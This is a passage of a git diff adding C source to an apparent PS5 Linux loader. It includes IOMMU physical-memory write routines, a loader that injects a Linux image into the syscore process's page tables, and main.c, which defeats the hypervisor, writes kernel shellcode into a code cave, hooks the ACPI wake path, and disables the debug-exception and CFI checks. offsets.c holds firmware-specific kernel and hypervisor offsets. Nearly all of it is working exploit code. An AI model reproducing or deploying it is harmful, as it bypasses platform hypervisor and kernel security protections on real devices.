32);+ iommu_submit_cmd(cmd);+}++// Write 4 bytes to a physical address+void iommu_write4_pa(uint64_t pa, uint32_t val) {+ uint64_t aligned = pa & ~7ULL;+ uint64_t existing = kread64(dmap + aligned);+ uint32_t off = (uint32_t)(pa & 7);+ memcpy((uint8_t *)&existing + off, &val, 4);+ iommu_write8_pa(aligned, existing);+}++// Write arbitrary length to a physical address in 8-byte chunks+void iommu_write_pa(uint64_t pa, const void *data, uint32_t len) {+ const uint8_t *src = (const uint8_t *)data;+ uint32_t off = 0;++ if (pa & 7) {+ uint32_t head = 8 - (uint32_t)(pa & 7);+ if (head > len)+ head = len;+ uint64_t aligned = pa & ~7ULL;+ uint64_t existing = kread64(dmap + aligned);+ memcpy((uint8_t *)&existing + (pa & 7), src, head);+ iommu_write8_pa(aligned, existing);+ off += head;+ }++ while (off + 8 <= len) {+ uint64_t val;+ memcpy(&val, src + off, 8);+ iommu_write8_pa(pa + off, val);+ off += 8;+ }++ if (off < len) {+ uint64_t aligned = pa + off;+ uint64_t existing = kread64(dmap + aligned);+ memcpy(&existing, src + off, len - off);+ iommu_write8_pa(aligned, existing);+ }+}\ No newline at end of filediff --git a/source/loader.c b/source/loader.cnew file mode 100644index 0000000..e4ab277--- /dev/null+++ b/source/loader.c@@ -0,0 +1,242 @@+#include "loader.h"+#include "config.h"+#include "utils.h"+#include <errno.h>+#include <fcntl.h>+#include <netinet/in.h>+#include <stdint.h>+#include <stdio.h>+#include <stdlib.h>+#include <string.h>+#include <sys/cpuset.h>+#include <sys/mman.h>+#include <sys/param.h>+#include <sys/proc.h>+#include <sys/socket.h>+#include <sys/stat.h>+#include <sys/types.h>+#include <unistd.h>++#define MINI_SYSCORE_PID 1++static uint64_t alloc_page(void) {++ void *page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,+ MAP_SHARED | MAP_ANONYMOUS, -1, 0);++ // Fault it to force physical allocation+ *(uint8_t *)page = 0;++ return va_to_pa_user((uintptr_t)page);+}++static void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa,+ int bits) {+ uint64_t entry;++ uintptr_t pml4e = pml4 + pmap_pml4e_index(va) * 8;+ entry = kread64(pml4e);+ if (!PAGE_P(entry)) {+ uint64_t page = alloc_page();+ entry = page | PG_B_RW | PG_B_P | bits;+ kwrite64(pml4e, entry);+ }++ uintptr_t pdpe = pa_to_dmap(PAGE_PA(entry)) + pmap_pdpe_index(va) * 8;+ entry = kread64(pdpe);+ if (!(entry & PG_B_P)) {+ uint64_t page = alloc_page();+ entry = page | PG_B_RW | PG_B_P | bits;+ kwrite64(pdpe, entry);+ }++ uintptr_t pde = pa_to_dmap(PAGE_PA(entry)) + pmap_pde_index(va) * 8;+ entry = kread64(pde);+ if (!(entry & PG_B_P)) {+ uint64_t page = alloc_page();+ entry = page | PG_B_RW | PG_B_P | bits;+ kwrite64(pde, entry);+ }++ uintptr_t pte = pa_to_dmap(PAGE_PA(entry)) + pmap_pte_index(va) * 8;+ entry = pa | PG_B_RW | PG_B_P | bits;+ pte_store(pte, entry);+}++void pte_store(uintptr_t ptep, uint64_t pte) {++ static_assert((PAGE_SIZE % 0x1000) == 0,+ "PAGE_SIZE should be a multiple of 0x1000");++ for (uint64_t i = 0; i < (PAGE_SIZE / 0x1000); i++) {+ kwrite64(ptep + i * 8, pte + i * 0x1000);+ }+}++const char *file_paths[] = {+ "/mnt/usb0/", "/mnt/usb1/", "/mnt/usb2/",+ "/mnt/usb3/", "/mnt/usb0/PS5/Linux/", "/mnt/usb1/PS5/Linux/",+ "/mnt/usb2/PS5/Linux/", "/mnt/usb3/PS5/Linux/",+};++long find_and_get_size_of_file(const char *filename, char *found_path) {++ char full_path[256];+ struct stat st;++ int num_paths = sizeof(file_paths) / sizeof(file_paths[0]);++ for (int i = 0; i < num_paths; i++) {++ snprintf(full_path, sizeof(full_path), "%s%s", file_paths[i], filename);++ if (stat(full_path, &st) == 0) {+ printf("File '%s' found in '%s'\n", filename, file_paths[i]);+ strcpy(found_path, full_path);+ return st.st_size;+ }+ }++ return -1;+}++static int find_and_read_file(const char *filename, void *buf, size_t bufsize) {+ char full_path[256];+ struct stat st;++ int num_paths = sizeof(file_paths) / sizeof(file_paths[0]);++ for (int i = 0; i < num_paths; i++) {++ snprintf(full_path, sizeof(full_path), "%s%s", file_paths[i], filename);++ if (stat(full_path, &st) == 0) {+ printf("File '%s' found in '%s'\n", filename, file_paths[i]);+ return read_file(full_path, buf, bufsize);+ }+ }++ return -1;+}++static int read_file(const char *path, void *buf, size_t bufsize) {+ int fd = open(path, O_RDONLY);+ if (fd < 0)+ return fd;+ int r = read(fd, buf, bufsize);+ close(fd);+ return r;+}++static void trim_newline(char *s) {+ while (*s != '\0') {+ if (*s == '\r' || *s == '\n') {+ *s = '\0';+ break;+ }+ s++;+ }+}++int fetch_linux(struct linux_info *info) {+ uintptr_t self_pmap = getpmap(kernel_get_proc(getpid()));+ uintptr_t self_pml4 = kread64(self_pmap + 0x20);++ uintptr_t syscore_pmap = getpmap(kernel_get_proc(MINI_SYSCORE_PID));+ uintptr_t syscore_pml4 = kread64(syscore_pmap + 0x20);++ char bzimage_path[256];+ char initrd_path[256];++ size_t bzimage_size = find_and_get_size_of_file("bzImage", bzimage_path);+ if (bzimage_size < 0) {+ printf("File bzImage not found at default paths - Aborting\n");+ return -1;+ }++ void *bzimage =+ mmap(NULL, ALIGN_UP(bzimage_size, 0x1000), PROT_READ | PROT_WRITE,+ MAP_SHARED | MAP_ANONYMOUS, -1, 0);+ if (bzimage == MAP_FAILED) {+ printf("[-] Error could not allocate bzimage.\n");+ return -1;+ }++ bzimage_size =+ read_file(bzimage_path, bzimage, ALIGN_UP(bzimage_size, 0x1000));+ if (bzimage_size < 0) {+ printf("Something went wrong while reading bzImage - Aborting\n");+ return -1;+ }++ size_t initrd_size = find_and_get_size_of_file("initrd.img", initrd_path);+ if (bzimage_size < 0) {+ printf("File bzImage not found at default paths - Aborting\n");+ return -1;+ }++ void *initrd =+ mmap(NULL, ALIGN_UP(initrd_size, 0x1000), PROT_READ | PROT_WRITE,+ MAP_SHARED | MAP_ANONYMOUS, -1, 0);+ if (initrd == MAP_FAILED) {+ printf("[-] Error could not allocate initrd.\n");+ return -1;+ }++ initrd_size = read_file(initrd_path, initrd, ALIGN_UP(initrd_size, 0x1000));+ if (initrd_size < 0) {+ printf("Something went wrong while reading initrd - Aborting\n");+ return -1;+ }++ size_t vram_size;+ char buf_vram[16] = {};+ int ret = find_and_read_file("vram.txt", buf_vram, sizeof(buf_vram) - 1);+ if (ret < 0) {+ printf(+ "File vram.txt not found at default paths - Using static fallback\n");+ vram_size = VRAM_SIZE;+ } else {+ trim_newline(buf_vram);+ vram_size = strtoull(buf_vram, NULL, 16);+ if (vram_size == 0) {+ printf("Seems like the configured vram value is wrong - Using static "+ "fallback\n");+ vram_size = VRAM_SIZE;+ }+ }++ char cmdline[2048] = {};+ ret = find_and_read_file("cmdline.txt", cmdline, sizeof(cmdline) - 1);+ if (ret < 0) {+ printf("File cmdline.txt not found at default paths - Using static "+ "fallback\n");+ strcpy(cmdline, CMD_LINE);+ } else {+ trim_newline(cmdline);+ }++ info->linux_info = kernel_cave_linux_info;+ info->bzimage = kernel_cave_bzImage;+ info->bzimage_size = bzimage_size;+ info->initrd = kernel_cave_bzImage + ALIGN_UP(bzimage_size, PAGE_SIZE);+ info->initrd_size = initrd_size;+ info->vram_size = vram_size;+ strcpy(info->cmdline, cmdline);++ uint64_t page = alloc_page();+ kwrite(pa_to_dmap(page), info, sizeof(struct linux_info));+ install_page(syscore_pml4, kernel_cave_linux_info, page, 0);++ for (int i = 0; i < bzimage_size; i += PAGE_SIZE) {+ install_page(syscore_pml4, info->bzimage + i,+ va_to_pa_user((uintptr_t)bzimage + i), 0);+ }++ for (int i = 0; i < initrd_size; i += PAGE_SIZE) {+ install_page(syscore_pml4, info->initrd + i,+ va_to_pa_user((uintptr_t)initrd + i), 0);+ }++ return 0;+}diff --git a/source/main.c b/source/main.cnew file mode 100644index 0000000..d5ef32a--- /dev/null+++ b/source/main.c@@ -0,0 +1,175 @@+#include "main.h"+#include "../shellcode_kernel/shellcode_kernel.h"+#include "hv_defeat.h"+#include "loader.h"+#include "offsets.h"+#include "utils.h"+#include <stdio.h>+#include <unistd.h>++int main(void) {++ if (setup_env()) {+ printf("Something went wrong while initiating.\nPlease make sure your fw "+ "is supported.");+ return -1;+ }+ if (hv_defeat()) {+ printf("Something went wrong while defeating Hypervisor.\nPlease make sure "+ "your fw is supported.");+ return -1;+ }++ if (fetch_linux(&linux_i)) {+ printf("Something went wrong while installing linux files.\n");+ return -1;+ }++ if (prepare_resume()) {+ printf("Something went wrong while preparing resume.\n");+ return -1;+ }++ printf("Everything done. Go to rest mode, wait for the orange light to stop "+ "blinking and then wakeup to Linux :)\n");++ while (1) {+ sleep(30);+ }++ return 0;+}++int setup_env(void) {+ printf("Welcome to ps5-linux-loader. We'll defeat HV and prepare the system "+ "to boot Linux on sleep resume.\n");+ if (set_offsets())+ return -1;+ if (init_global_vars())+ return -1;+ return 0;+}++int prepare_resume(void) {++ if (env_offset.KERNEL_CODE_CAVE == 0) {+ printf("Error: missing code cave offset\n");+ return -1;+ }++ if (env_offset.KERNEL_DATA_CAVE == 0) {+ printf("Error: missing data cave offset\n");+ return -1;+ }++ printf("\nWriting Shell Code for WakeUp path and patching "+ "AcpiSetFirmwareWakingVector in acpi_wakeup_machdep\n");++ uint64_t dest_text = ktext + env_offset.KERNEL_CODE_CAVE;+ uint64_t dest_data =+ ktext + env_offset.KERNEL_DATA_CAVE; // For arguments only, rest of .data+ // variables are in shellcode++ uint64_t sz = shellcode_kernel_text_len;++ uint32_t CHUNK = 0x1000;+ uint64_t written = 0;+ while (written < sz) {+ uint32_t n = (sz - written > CHUNK) ? CHUNK : (uint32_t)(sz - written);+ kernel_copyin(&shellcode_kernel_text[written], dest_text + written, n);+ written += n;+ }+ DEBUG_PRINT(" copied %d bytes to text cave\n", sz);++ DEBUG_PRINT("\n\nI wrote this shellcode text on %016lx (ktext+%08lx):\n",+ dest_text, env_offset.KERNEL_CODE_CAVE);+ for (uint64_t i = 0; i < sz; i++) {+ DEBUG_PRINT("%02x", kread8(dest_text + i));+ }+ DEBUG_PRINT("\n\n");++ shellcode_kernel_args args;++ // Fill structure of ShellCode Arguments+ args.fw_version = kernel_get_fw_version() & 0xFFFF0000;+ args.ktext = ktext;+ args.kdata = kdata;+ args.dmap_base = dmap;++ args.fun_printf = ktext + env_offset.FUN_PRINTF;+ args.fun_va_to_pa = ktext + env_offset.FUN_VA_TO_PA;+ args.fun_hv_iommu_set_buffers = ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS;+ args.fun_hv_iommu_wait_completion =+ ktext + env_offset.FUN_HV_IOMM_WAIT_COMPLETION;+ args.fun_smp_rendezvous = ktext + env_offset.FUN_SMP_RENDEZVOUS;+ args.fun_smp_no_rendevous_barrier =+ ktext + env_offset.FUN_SMP_NO_RENDEVOUS_BARRIER;+ args.g_vbios = ktext + env_offset.G_VBIOS;++ args.fun_transmitter_control = ktext + env_offset.FUN_TRANSMITTER_CONTROL;+ args.fun_mp3_initialize = ktext + env_offset.FUN_MP3_INITIALIZE;+ args.fun_mp3_invoke = ktext + env_offset.FUN_MP3_INVOKE;++ args.iommu_mmio_va = iommu->mmio_va;+ args.iommu_cb2_va = iommu->cb2_base;+ args.iommu_cb3_va = iommu->cb3_base;+ args.iommu_eb_va = iommu->eb_base;+ memcpy(&args.vmcb[0], &vmcb_pa[0], sizeof(args.vmcb[0]) * 16);++ args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE;+ args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA;+ args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA;+ args.hv_uart_override_pa = env_offset.HV_UART_OVERRIDE_PA;++ args.linux_info_va = linux_i.linux_info; // To relocate by kernel shellcode+ // bzimage_va and initrd_va are passed in the linux_info structure++ // Copy arguments to small .data cave+ kernel_copyin(&args, dest_data, sizeof(args));++ DEBUG_PRINT("\n\nI wrote this arguments data on %016lx (ktext+%08lx):\n",+ dest_data, env_offset.KERNEL_DATA_CAVE);+ for (uint64_t i = 0; i < sz; i++) {+ DEBUG_PRINT("%02x", kread8(dest_data + i));+ }+ DEBUG_PRINT("\n\n");++ // Now find the address 0x11AA11AA11AA11AA used as marker for args_ptr and+ // overwrite it with proper VA in .data for arguments+ int offset = -1;+ for (int i = 0; i < 0x40; i++) {+ if (*(uint64_t *)((uint64_t)shellcode_kernel_text + i) ==+ 0x11AA11AA11AA11AA) {+ offset = i;+ break;+ }+ }+ if (offset == -1) {+ printf("Could not find offset of args_ptr address - Aborting\n");+ }+ kwrite64(dest_text + offset, dest_data);++ DEBUG_PRINT("\n\nI wrote this ptr %016lx on %016lx (offset %08lx)\n",+ dest_data, dest_text + offset, offset);++ uint64_t instr_to_patch =+ ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP; // AcpiSetFirmwareWakingVector+ // in acpi_wakeup_machdep+ int64_t diff_call = dest_text - instr_to_patch;+ uint8_t new_instr[5];+ new_instr[0] = 0xE8; // Call Near+ *((uint32_t *)&new_instr[1]) =+ (int32_t)(diff_call - 5); // Call Offset is relative to the next+ // instruction and Call uses 5 bytes++ // Patch instruction+ kernel_copyin(new_instr, instr_to_patch, 5);+ DEBUG_PRINT("Instruction patched\n");++ // Patch debug exception+ kwrite8(ktext + env_offset.KERNEL_DEBUG_PATCH, 0xC3);+ // Patch cfi_check+ kwrite8(ktext + env_offset.KERNEL_CFI_CHECK, 0xC3);++ return 0;+}\ No newline at end of filediff --git a/source/offsets.c b/source/offsets.cnew file mode 100644index 0000000..75280af--- /dev/null+++ b/source/offsets.c@@ -0,0 +1,298 @@+#include "offsets.h"++offset_list off_0300 = {+ .PMAP_STORE = 0x3D8E218,+ .HV_BSS_OFF = 0x16000,+ .HV_VCPU_ARRAY_OFF = 0x5D0,+ .HV_VCPU_STRIDE = 0x320,+ .HV_VCPU_VMCB_PTR = 0x08,+ .KERNEL_CODE_CAVE = 0x0043000,+ .KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,+ .IOMMU_SOFTC = 0x33175E0,+ .VMSPACE_VM_VMID = 0x1E4,+ .VMSPACE_VM_PMAP = 0x1D0,+ .PMAP_PM_PML4 = 0x020,+ .PMAP_PM_CR3 = 0x028,+ .DATA_BASE_GVMSPACE = 0x06423F80,+ .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390E59,+ .FUN_PRINTF = 0x048B9A0,+ .FUN_VA_TO_PA = 0x0831410,+ .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E20,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D50,+ .FUN_SMP_RENDEZVOUS = 0x0A3E850,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287E50,+ .HV_HANDLE_VMEXIT_PA = 0x6282CBCB,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_UART_OVERRIDE_PA = 0x62800008,+ .G_VBIOS = 0x0734B5D0,+ .FUN_TRANSMITTER_CONTROL = 0x0B2A560,+ .FUN_MP3_INITIALIZE = 0x0953890,+ .FUN_MP3_INVOKE = 0x0952670,+ .KERNEL_UART_OVERRIDE = 0x1EB0258,+ .KERNEL_DEBUG_PATCH = 0x0752460,+ .KERNEL_CFI_CHECK = 0x0441DD0,+};++offset_list off_0310 = {+ .PMAP_STORE = 0x3D8E218,+ .HV_BSS_OFF = 0x16000,+ .HV_VCPU_ARRAY_OFF = 0x5D0,+ .HV_VCPU_STRIDE = 0x320,+ .HV_VCPU_VMCB_PTR = 0x08,+ .KERNEL_CODE_CAVE = 0x0043000,+ .KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,+ .IOMMU_SOFTC = 0x33175E0,+ .VMSPACE_VM_VMID = 0x1E4,+ .VMSPACE_VM_PMAP = 0x1D0,+ .PMAP_PM_PML4 = 0x020,+ .PMAP_PM_CR3 = 0x028,+ .DATA_BASE_GVMSPACE = 0x06423F80,+ .HOOK_ACPI_WAKEUP_MACHDEP = 0x0390ED5,+ .FUN_PRINTF = 0x048B9E0,+ .FUN_VA_TO_PA = 0x0831410,+ .FUN_HV_IOMMU_SET_BUFFERS = 0x0B33E60,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0x0B33D90,+ .FUN_SMP_RENDEZVOUS = 0x0A3E890,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x0287EA8,+ .HV_HANDLE_VMEXIT_PA = 0x6282CBCB,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_UART_OVERRIDE_PA = 0x62800008,+ .G_VBIOS = 0x0734B5D0,+ .FUN_TRANSMITTER_CONTROL = 0x0B2A5A0,+ .FUN_MP3_INITIALIZE = 0x09538D0,+ .FUN_MP3_INVOKE = 0x09526B0,+ .KERNEL_UART_OVERRIDE = 0x1EB0258,+ .KERNEL_DEBUG_PATCH = 0x07524A0,+ .KERNEL_CFI_CHECK = 0x0441E10,+};++offset_list off_0320 = {+ .PMAP_STORE = 0x3D8E218,+ .HV_BSS_OFF = 0x16000,+ .HV_VCPU_ARRAY_OFF = 0x5D0,+ .HV_VCPU_STRIDE = 0x320,+ .HV_VCPU_VMCB_PTR = 0x08,+ .KERNEL_CODE_CAVE = 0x0043000,+ .KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,+ .IOMMU_SOFTC = 0x33175E0,+ .VMSPACE_VM_VMID = 0x1E4,+ .VMSPACE_VM_PMAP = 0x1D0,+ .PMAP_PM_PML4 = 0x020,+ .PMAP_PM_CR3 = 0x028,+ .DATA_BASE_GVMSPACE = 0x06423F80,+ .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203,+ .FUN_PRINTF = 0x48BD30,+ .FUN_VA_TO_PA = 0x8317A0,+ .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250,+ .FUN_SMP_RENDEZVOUS = 0xA3ED50,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288230,+ .HV_HANDLE_VMEXIT_PA = 0x6282CBCB,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_UART_OVERRIDE_PA = 0x62800008,+ .G_VBIOS = 0x734B5D0,+ .FUN_TRANSMITTER_CONTROL = 0xB2AA60,+ .FUN_MP3_INITIALIZE = 0x953D30,+ .FUN_MP3_INVOKE = 0x952B10,+ .KERNEL_UART_OVERRIDE = 0x1EB0258,+ .KERNEL_DEBUG_PATCH = 0x7527F0,+ .KERNEL_CFI_CHECK = 0x442160,+};++offset_list off_0321 = {+ .PMAP_STORE = 0x3D8E218,+ .HV_BSS_OFF = 0x16000,+ .HV_VCPU_ARRAY_OFF = 0x5D0,+ .HV_VCPU_STRIDE = 0x320,+ .HV_VCPU_VMCB_PTR = 0x08,+ .KERNEL_CODE_CAVE = 0x0043000,+ .KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,+ .IOMMU_SOFTC = 0x33175E0,+ .VMSPACE_VM_VMID = 0x1E4,+ .VMSPACE_VM_PMAP = 0x1D0,+ .PMAP_PM_PML4 = 0x020,+ .PMAP_PM_CR3 = 0x028,+ .DATA_BASE_GVMSPACE = 0x06423F80,+ .HOOK_ACPI_WAKEUP_MACHDEP = 0x391203,+ .FUN_PRINTF = 0x48BD30,+ .FUN_VA_TO_PA = 0x8317A0,+ .FUN_HV_IOMMU_SET_BUFFERS = 0xB34320,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0xB34250,+ .FUN_SMP_RENDEZVOUS = 0xA3ED50,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x288250,+ .HV_HANDLE_VMEXIT_PA = 0x6282CBCB,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_UART_OVERRIDE_PA = 0x62800008,+ .G_VBIOS = 0x734B5D0,+ .FUN_TRANSMITTER_CONTROL = 0xB2AA60,+ .FUN_MP3_INITIALIZE = 0x953D30,+ .FUN_MP3_INVOKE = 0x952B10,+ .KERNEL_UART_OVERRIDE = 0x1EB0258,+ .KERNEL_DEBUG_PATCH = 0x7527F0,+ .KERNEL_CFI_CHECK = 0x442160,+};++offset_list off_0400 = {+ .PMAP_STORE = 0x3E57A78,+ .HV_BSS_OFF = 0x14000,+ .HV_VCPU_ARRAY_OFF = 0x5D0,+ .HV_VCPU_STRIDE = 0x320,+ .HV_VCPU_VMCB_PTR = 0x08,+ .KERNEL_CODE_CAVE = 0x0043000,+ .KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,+ .IOMMU_SOFTC = 0x33C7680,+ .VMSPACE_VM_VMID = 0x1E4,+ .VMSPACE_VM_PMAP = 0x1D0,+ .PMAP_PM_PML4 = 0x020,+ .PMAP_PM_CR3 = 0x028,+ .DATA_BASE_GVMSPACE = 0x064C3F80,+ .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,+ .FUN_PRINTF = 0x4A3240,+ .FUN_VA_TO_PA = 0x85ADC0,+ .FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830,+ .FUN_SMP_RENDEZVOUS = 0xA6C920,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x295488,+ .HV_HANDLE_VMEXIT_PA = 0x6282B45D,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_UART_OVERRIDE_PA = 0x62800008,+ .G_VBIOS = 0x72B7630,+ .FUN_TRANSMITTER_CONTROL = 0xB5AD50,+ .FUN_MP3_INITIALIZE = 0x9805C0,+ .FUN_MP3_INVOKE = 0x97F3E0,+ .KERNEL_UART_OVERRIDE = 0x1F522A8,+ .KERNEL_DEBUG_PATCH = 0x77DA70,+ .KERNEL_CFI_CHECK = 0x45A170,+};++offset_list off_0402 = {+ .PMAP_STORE = 0x3E57A78,+ .HV_BSS_OFF = 0x14000,+ .HV_VCPU_ARRAY_OFF = 0x5D0,+ .HV_VCPU_STRIDE = 0x320,+ .HV_VCPU_VMCB_PTR = 0x08,+ .KERNEL_CODE_CAVE = 0x0043000,+ .KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,+ .IOMMU_SOFTC = 0x33C7680,+ .VMSPACE_VM_VMID = 0x1E4,+ .VMSPACE_VM_PMAP = 0x1D0,+ .PMAP_PM_PML4 = 0x020,+ .PMAP_PM_CR3 = 0x028,+ .DATA_BASE_GVMSPACE = 0x064C3F80,+ .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,+ .FUN_PRINTF = 0x4A3240,+ .FUN_VA_TO_PA = 0x85AE10,+ .FUN_HV_IOMMU_SET_BUFFERS = 0xB63950,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63890,+ .FUN_SMP_RENDEZVOUS = 0xA6C970,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x29A018,+ .HV_HANDLE_VMEXIT_PA = 0x6282B45D,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_UART_OVERRIDE_PA = 0x62800008,+ .G_VBIOS = 0x72B7630,+ .FUN_TRANSMITTER_CONTROL = 0xB5ADA0,+ .FUN_MP3_INITIALIZE = 0x980610,+ .FUN_MP3_INVOKE = 0x97F430,+ .KERNEL_UART_OVERRIDE = 0x1F522A8,+ .KERNEL_DEBUG_PATCH = 0x77DAC0,+ .KERNEL_CFI_CHECK = 0x45A170,+};++offset_list off_0403 = {+ .PMAP_STORE = 0x3E57A78,+ .HV_BSS_OFF = 0x14000,+ .HV_VCPU_ARRAY_OFF = 0x5D0,+ .HV_VCPU_STRIDE = 0x320,+ .HV_VCPU_VMCB_PTR = 0x08,+ .KERNEL_CODE_CAVE = 0x0043000,+ .KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,+ .IOMMU_SOFTC = 0x33C7680,+ .VMSPACE_VM_VMID = 0x1E4,+ .VMSPACE_VM_PMAP = 0x1D0,+ .PMAP_PM_PML4 = 0x020,+ .PMAP_PM_CR3 = 0x028,+ .DATA_BASE_GVMSPACE = 0x064C3F80,+ .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,+ .FUN_PRINTF = 0x4A3240,+ .FUN_VA_TO_PA = 0x85AEA0,+ .FUN_HV_IOMMU_SET_BUFFERS = 0xB639F0,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63930,+ .FUN_SMP_RENDEZVOUS = 0xA6CA00,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299F20,+ .HV_HANDLE_VMEXIT_PA = 0x6282B45D,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_UART_OVERRIDE_PA = 0x62800008,+ .G_VBIOS = 0x72B7630,+ .FUN_TRANSMITTER_CONTROL = 0xB5AE30,+ .FUN_MP3_INITIALIZE = 0x9806A0,+ .FUN_MP3_INVOKE = 0x97F4C0,+ .KERNEL_UART_OVERRIDE = 0x1F522A8,+ .KERNEL_DEBUG_PATCH = 0x77DB50,+ .KERNEL_CFI_CHECK = 0x45A170,+};++offset_list off_0450 = {+ .PMAP_STORE = 0x3E57A78,+ .HV_BSS_OFF = 0x14000,+ .HV_VCPU_ARRAY_OFF = 0x5D0,+ .HV_VCPU_STRIDE = 0x320,+ .HV_VCPU_VMCB_PTR = 0x08,+ .KERNEL_CODE_CAVE = 0x0043000,+ .KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,+ .IOMMU_SOFTC = 0x33C7680,+ .VMSPACE_VM_VMID = 0x1E4,+ .VMSPACE_VM_PMAP = 0x1D0,+ .PMAP_PM_PML4 = 0x020,+ .PMAP_PM_CR3 = 0x028,+ .DATA_BASE_GVMSPACE = 0x064C3F80,+ .HOOK_ACPI_WAKEUP_MACHDEP = 0x03A75E3,+ .FUN_PRINTF = 0x04A3270,+ .FUN_VA_TO_PA = 0x85AFF0,+ .FUN_HV_IOMMU_SET_BUFFERS = 0xB63BB0,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63AF0,+ .FUN_SMP_RENDEZVOUS = 0xA6CBB0,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FC0,+ .HV_HANDLE_VMEXIT_PA = 0x6282B45D,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_UART_OVERRIDE_PA = 0x62800008,+ .G_VBIOS = 0x72B7630,+ .FUN_TRANSMITTER_CONTROL = 0xB5AFF0,+ .FUN_MP3_INITIALIZE = 0x980850,+ .FUN_MP3_INVOKE = 0x97F670,+ .KERNEL_UART_OVERRIDE = 0x1F522A8,+ .KERNEL_DEBUG_PATCH = 0x77DC80,+ .KERNEL_CFI_CHECK = 0x45A1A0,+};++offset_list off_0451 = {+ .PMAP_STORE = 0x3E57A78,+ .HV_BSS_OFF = 0x14000,+ .HV_VCPU_ARRAY_OFF = 0x5D0,+ .HV_VCPU_STRIDE = 0x320,+ .HV_VCPU_VMCB_PTR = 0x08,+ .KERNEL_CODE_CAVE = 0x0043000,+ .KERNEL_DATA_CAVE = 0x0043000 + 0xBBE300,+ .IOMMU_SOFTC = 0x33C7680,+ .VMSPACE_VM_VMID = 0x1E4,+ .VMSPACE_VM_PMAP = 0x1D0,+ .PMAP_PM_PML4 = 0x020,+ .PMAP_PM_CR3 = 0x028,+ .DATA_BASE_GVMSPACE = 0x64C3F80,+ .HOOK_ACPI_WAKEUP_MACHDEP = 0x3A75E3,+ .FUN_PRINTF = 0x4A3270,+ .FUN_VA_TO_PA = 0x85B390,+ .FUN_HV_IOMMU_SET_BUFFERS = 0xB63FE0,+ .FUN_HV_IOMM_WAIT_COMPLETION = 0xB63F20,+ .FUN_SMP_RENDEZVOUS = 0xA6CFE0,+ .FUN_SMP_NO_RENDEVOUS_BARRIER = 0x299FA8,+ .HV_HANDLE_VMEXIT_PA = 0x6282B45D,+ .HV_CODE_CAVE_PA = 0x62806F00,+ .HV_UART_OVERRIDE_PA = 0x62800008,+ .G_VBIOS = 0x72B7630,+ .FUN_TRANSMITTER_CONTROL = 0xB5B420,+ .FUN_MP3_INITIALIZE = 0x980BF0,+ .FUN_MP3_INVOKE = 0x97FA10,+ .KERNEL_UART_OVERRIDE = 0x1F522A8,+ .KERNEL_DEBUG_PATCH = 0x77DC90,+ .KERNEL_CFI_CHECK = 0x45A1A0,+};diff --git a/source/tmr.c b/source/tmr.cnew file mode 100644index 0000000..8adb242--- /dev/null+++ b/source/tmr.c@@ -0,0 +1,12 @@+#include "tmr.h"+#include "utils.h"++uint32_t tmr_read(uint32_t addr) {+ kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr);+ return kread32(ECAM_B0D18F2 + TMR_DATA_OFF);+}++void tmr_write(uint32_t addr, uint32_t val) {+ kwrite32(ECAM_B0D18F2 + TMR_INDEX_OFF, addr);+ kwrite32(ECAM_B0D18F2 + TMR_DATA_OFF, val);+}\ No newline at end of filediff --git a/source/utils.c b/source/utils.cnew file mode 100644index 0000000..62f29aa--- /dev/null+++ b/source/utils.c@@ -0,0 +1,219 @@+#include "utils.h"+#include "offsets.h"+#include <ps5/kernel.h>+#include <stdio.h>+#include <sys/cpuset.h>+#include <sys/param.h>+#include <sys/proc.h>+#include <unistd.h>++/* Global Variables */+offset_list env_offset;+uint64_t ktext;+uint64_t kdata;+uint64_t dmap;+uint64_t cr3;+uint32_t fw;+struct linux_info linux_i;++int set_offsets(void) {+ fw = kernel_get_fw_version() >> 16;+ if (fw == 0)+ return -1;+ switch (fw) {+ case 0x0300:+ env_offset = off_0300;+ break;+ case 0x0310:+ env_offset = off_0310;+ break;+ case 0x0320:+ env_offset = 